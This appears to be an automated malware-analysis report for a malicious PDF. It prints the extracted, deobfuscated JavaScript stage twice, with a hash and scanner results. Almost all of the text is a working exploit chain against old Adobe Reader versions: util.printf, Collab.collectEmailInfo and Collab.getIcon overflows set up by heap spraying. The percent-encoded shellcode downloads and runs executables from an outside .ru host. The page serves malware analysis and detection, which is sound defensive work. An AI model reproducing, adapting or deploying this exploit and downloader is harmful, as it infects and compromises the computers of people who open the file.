function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u672F%u6E69%u7973%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6762%u6D6B%u7671%u7A79%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5270 bytes
SHA-256: f1f3be01612f0ce38e5c3780f61db597249057e32f25368f87afcfd85cf034bf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u692F%u6D6C%u3378%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u672F%u6E69%u7973%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6762%u6D6B%u7671%u7A79%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.